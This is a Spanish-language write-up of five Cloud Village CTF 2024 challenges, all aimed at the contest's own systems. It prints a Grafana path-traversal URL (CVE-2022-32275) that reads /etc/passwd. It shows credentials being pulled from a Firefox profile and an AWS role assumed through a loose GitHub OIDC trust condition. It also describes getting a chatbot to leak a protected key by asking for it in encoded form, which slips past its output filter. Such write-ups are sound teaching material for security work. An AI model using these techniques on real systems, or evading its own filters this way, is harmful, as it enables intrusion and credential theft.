Saltar a contenido

WriteUp: Cloud Village CTF 2024

Ya sabéis que nos cuesta resistirnos a cualquier cosa que tenga un scoreboard y este relacionado con la nube... Y la distancia y el huso horario no iban a impedirnos darle un intento al CTF que organizaba Cloud Village en #DEFCON32 el pasado fin de semana.

CTF Cloud Village ctf.cloud-village.org

No le pudimos dedicar mucho tiempo pero fuimos capaces de resolver 5 de los 30 retos y acabar 21 de 104 equipos.

CTF Cloud Village

Aquí os dejamos un walkthrough de los retos que resolvimos.

Dracarys - Game Hacking Village Challenge ~ 100

Dracarys challenge

Dentro de la web hay un enlace con un zip:

Dracarys site

En el zip encontramos unas instrucciones:

$ ls
Dracarys_Instructions.txt       file.enc
private_key.pem

cat Dracarys_Instructions.txt
Output
Welcome Dev, sharing instructions to securely store passwords for our dashboarding tool located at:

http://main-alb-1466274369.us-west-1.elb.amazonaws.com:8088/login/

Algorithm used for encryption of passwords:

# Generate a 2048-bit RSA private key

openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=

Using the above algorithm we have encrypted a file named file.enc, containing the user name and password.

# We have set up database connections:

Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==

References to add database connections in superset:

1. Login with the user name and password
2. Navigate to add a new database connection (Data -> Connect Google Sheets).
3. Fill out the form with the connection string and a name for the database.
4. Once the database is created -> Click on "Connect", then "Query Data in Sql Lab" and wait for a couple of seconds
Then click on cancel and query the data in sql lab
5. Hint : Checkout the "Saved Queries" under "SQL Lab" if the connection string does not work !!!

Tenemos el file.enc, la clave y en instrucciones la contraseña de la clave:

  • La key se generó con:
    openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=
    
  • La contraseña es:
    printf "ZGVmY29uXzIwMjQ=" | base64 -d
    defcon_2024
    

Con eso podemos descifrar el file.enc:

  $ openssl rsautl -decrypt -inkey private_key.pem -in file.enc -out decrypted_file.txt
  Enter pass phrase for private_key.pem:

  $ cat decrypted_file.txt
  username : sf_admin
  password: Lha@jasd982!!

Con esas credenciales podemos acceder al dashboard que se menciona en las instrucciones, pero antes, le echamos un ojo a este otro trozo que tiene un base64:

Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==

Es un link a un spreadsheet:

$ printf "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==" | base64 -d
https://docs.google.com/spreadsheets/d/1eXzES6XjUedupHznHdukQC0naPSxvtHrwacLSHPiZbM/edit?usp=sharing

En el que encontramos directamente la flag:

Docs spreadsheet con la flag


Daenerys ~ 150

Daenerys challenge

El enlace "a Eldoria" lleva a un panel de login de Grafana:

Grafana login

Este reto estaba en la sección "Shadowy Exploits", y por el mensaje de "New version available!" tiene pinta que no es la última versión de Grafana.

Con una búsqueda rápida encontramos el CVE-2022-32275:

Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd URI.

https://target/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd

Probemos... Entramos en:

http://main-alb-1043141211.us-west-2.elb.amazonaws.com:3000/dashboard/snapshot/%7B%7Bconstructor.constructor'/..%20/..%20/..%20/..%20/..%20/..%20/..%20/..%20/etc/passw

Grafana CVE-2022-32275 No se ve muy bien, pero obtenemos la flag.

Grafana CVE-2022-32275 Abriendo el SVG en una pestaña a parte podemos copiarla fácilmente.


The Mozilla Matrix ~ 300

The Mozilla Matrix challenge

El reto empieza con un zip que dentro tiene:

$ ls sv7i9wlm.MozillaMatrix
AlternateServices.bin                   key4.db
ExperimentStoreData.json                logins-backup.json
SiteSecurityServiceState.bin            logins.json
addonStartup.json.lz4                   parent.lock
addons.json                             permissions.sqlite
broadcast-listeners.json                pkcs11.txt
cert9.db                                places.sqlite
compatibility.ini                       places.sqlite-shm
containers.json                         places.sqlite-wal
content-prefs.sqlite                    prefs.js
cookies.sqlite                          protections.sqlite
cookies.sqlite-shm                      search.json.mozlz4
cookies.sqlite-wal                      sessionCheckpoints.json
crashes                                 sessionstore-backups
datareporting                           sessionstore.jsonlz4
domain_to_categories.sqlite             settings
domain_to_categories.sqlite-journal     shader-cache
extension-preferences.json              shield-preference-experiments.json
extensions.json                         storage
favicons.sqlite                         storage.sqlite
favicons.sqlite-shm                     targeting.snapshot.json
favicons.sqlite-wal                     times.json
formhistory.sqlite                      webappsstore.sqlite
gmp-gmpopenh264                         webappsstore.sqlite-shm
gmp-widevinecdm                         webappsstore.sqlite-wal
handlers.json                           xulstore.json

Por el titulo y los archivos, parece una copia de una configuración de Mozilla Firefox.

Nos llama la atención logins.json y logins-backup.json, ambos contienen este json:

{
"nextId": 6,
"logins": [
  {
    "id": 5,
    "hostname": "https://mozillamatrix.dragons-in-the.cloud",
    "httpRealm": null,
    "formSubmitURL": "",
    "usernameField": "",
    "passwordField": "",
    "encryptedUsername": "MHIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKURO2ywGqkWBEhCvChZj5Rt65g69RF1Qd/91NHtCtxhR+swJ6KcGBHfGOzXlq+CylSR6pvPo5Se8lpjAArR2yMzxp9siASYrunW1mXabYVPPuA=",
    "encryptedPassword": "MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECAtKGEAlTubCBBidkBCkEJ3BX9K+cRTzYhrmBpodGwRefHw=",
    "guid": "{071cdb86-4be5-40b0-9a8e-e9d29f9d2715}",
    "encType": 1,
    "timeCreated": 1719734759912,
    "timeLastUsed": 1719734759912,
    "timePasswordChanged": 1720149199020,
    "timesUsed": 1,
    "syncCounter": 3,
    "everSynced": false,
    "encryptedUnknownFields": null
  }
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}

Solo cambian encryptedUsername, encryptedUsername, timePasswordChanged y syncCounter.

Usando firefox_decrypt sacamos los usuarios y contraseñas de ambos archivos:

root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location

Website:   https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sL'
root@2a8987f98b1c:~/data/firefox_decrypt-main# mv ../sv7i9wlm.MozillaMatrix/logins-backup.json ../sv7i9wlm.MozillaMatrix/logins.json
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location

Website:   https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sLp'

Pasando esas credenciales como basic auth no podía acceder, pero metiendo a mano el username y password como headers desde el navegador si:

Firefox hacking Firefox

Con curl sería :

curl -v 'http://mozillamatrix.dragons-in-the.cloud/TlF8KNeH6d' -X POST -H 'username: f34e60ec-bdcd-4821-9f5b-902db18db2b0' -H 'Password: 1UA4>C41eE@M=_4n4U:.sL'

Output
* Host mozillamatrix.dragons-in-the.cloud:80 was resolved.
* IPv6: (none)
* IPv4: 138.197.232.86
*   Trying 138.197.232.86:80...
* Connected to mozillamatrix.dragons-in-the.cloud (138.197.232.86) port 80
> POST /TlF8KNeH6d HTTP/1.1
> Host: mozillamatrix.dragons-in-the.cloud
> User-Agent: curl/8.6.0
> Accept: */*
> username: f34e60ec-bdcd-4821-9f5b-902db18db2b0
> Password: 1UA4>C41eE@M=_4n4U:.sL
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.14
< Date: Sun, 11 Aug 2024 08:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 39
< Connection: close
<
* Closing connection
FLAG-{0BsgU7Y6wH8khvmJvtUmVF7UVOOksDnk}

IR-Knights Assistant ~ 390

IR-Knights Assistant challenge

Accedemos a un chatbot con diferentes "modos", y el modo 4 necesita verificación extra:

IR-Knights Assistant chatbot

Vamos a seguir su consejo e intentar conseguir pistas desde los otros modos:

IR-Knights Assistant chatbot

Ya tenemos la primera pista:

The key consists of multiple words combined together, with an underscore "_" separating the words. It does not contain any spaces. The key is case-sensitive, so you'll need to enter it exactly as specified, including the proper capitalization.

IR-Knights Assistant chatbot

Otra pista más:

The key consists of multiple words combined in a phrase. If separated into individual words, one of the words is a common cybersecurity term referring to a malicious actor. Additionally, the key can potentially be represented in different encoded formats besides plaintext, such as Base64, hexadecimal, reversed, or ROT13 encoding.

Note

Esto suele funcionar bastante con chatbots de este tipo que no están bien protegidos y solo comprueban que no están revelando literalmente el string de los datos que quieren proteger.

IR-Knights Assistant chatbot

Ya tenemos el código de verificación:

printf "d2hvX2lzX1B5cjBzZWM=" | base64 -d
who_is_Pyr0sec%

IR-Knights Assistant chatbot

Le pasamos un correo temporal de webhook.site, pero no nos llegaba nada...

Por si acaso no soportaba esa web, preguntamos que tipo de direcciones soportaba:

IR-Knights Assistant chatbot

> email addresses or webhook URLs <
Vaya!

IR-Knights Assistant chatbot

Ahora si, en el webhook recibimos una request con este payload:

gallery.ecr.aws/f3t5t7k1/irk-assistant

IR-Knights Assistant ECR Repo

Descargamos las dos imágenes del repo y hacemos un export del filesystem:

$ ls -a container/app
IR-Knights.py  requirements.txt

$ ls -a container-v0/app
app  Dockerfile  .env  IR-Knights.py  requirements.txt

Y en ese .env que tenemos...

$ cat container-v0/app/.env
FLAG='FLAG-{iSj9Ip7WJN1QZKb4GRs1sygWSHHj6Fsu}'%


Warden's Ruse ~ 540

Warden's Ruse challenge

Una vez más nos dan un zip. Dentro encontramos lo que parece un export de un repo de github:

$ ls -aR Wardens-Ruse-main
.github                 Warden.png              repo-visibility.png
README.md               main.tf

Wardens-Ruse-main/.github:
workflows

Wardens-Ruse-main/.github/workflows:
apply-prod.yaml

En el README.md vemos que están configurando un bucket y una web en cloudfront:

TODO: Lock up once Haxisha finishes setting up dc32-wardens-treasure-prod and <https://d2azf0l1i0s26w.cloudfront.net/>.

Echando un ojo al main.tf vemos que crean un rol que no parece estar limitado correctamente:

resource "aws_iam_role" "warden" {
  name               = "warden-production"  // (1)!
  assume_role_policy = data.aws_iam_policy_document.warden-role.json
}

data "aws_iam_policy_document" "warden-role" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]

    principals {
      identifiers = [aws_iam_openid_connect_provider.github.arn]
      type        = "Federated"
    }

    condition {
      test     = "StringEquals"
      values   = ["sts.amazonaws.com"]
      variable = "token.actions.githubusercontent.com:aud"
    }

    condition {
      test     = "StringLike"
      values   = ["repo:*/Wardens-Ruse:ref:refs/heads/endlessendurance"]  // (2)!
      variable = "token.actions.githubusercontent.com:sub"
    }

    condition {
      test     = "StringEquals"
      values   = ["private"]
      variable = "token.actions.githubusercontent.com:repository_visibility"
    }
  }
}

  1. Nombre del rol que están creando, esto nos será util luego.
  2. Esta condición permite a cualquier usuario con un repo privado de Github llamado Wardens-Ruse y usando la rama endlessendurance asumir este rol usando Github Actions.

Creamos un repo privado con el código del zip y tratamos de asumir el rol en el que "Haisha" esta trabajando:

- name: Auth to AWS
  uses: aws-actions/configure-aws-credentials@v4
  with:
    aws-region: us-west-2
    role-to-assume: arn:aws:iam::${{ secrets.ACCOUNT_ID }}:role/warden-production # (1)!

  1. Este es el nombre del rol que vimos en el main.tf.

Pero para poder asumir el rol nos hace falta el ACCOUNT_ID, probamos con el account ID que teníamos de otro reto que no pudimos terminar de resolver y...

Github Actions Pipeline Boom! 💥 Probamos a listar el contenido del bucket que se menciona en el README con ese rol.

Nota

Aquí, tuvimos suerte usando el account ID de otro reto, realmente estaba "oculto" en la web en cloudfront.

Cloudfront site
Los números de los ingredientes... 🤯

Github Actions Pipeline Una vez comprobado que tenemos acceso, solo quedaba sacar la flag.


Y esto es todo amigos! Se nos quedaron unos cuantos retos más a mitad que tendremos que esperar a los writeups para descubrir que nos faltaba.

Si os queda alguna duda de alguno de los pasos o comentario no dudéis en escribirnos.

Esperamos que leer sobre como funcionan estos retos os anime a participar en próximos CTFs, es una forma divertida de poner en práctica lo que ya sabes y aprender alguna cosilla más por el camino. (Cuidado que enganchan!)

Saludos, y que la fuerza os acompañe.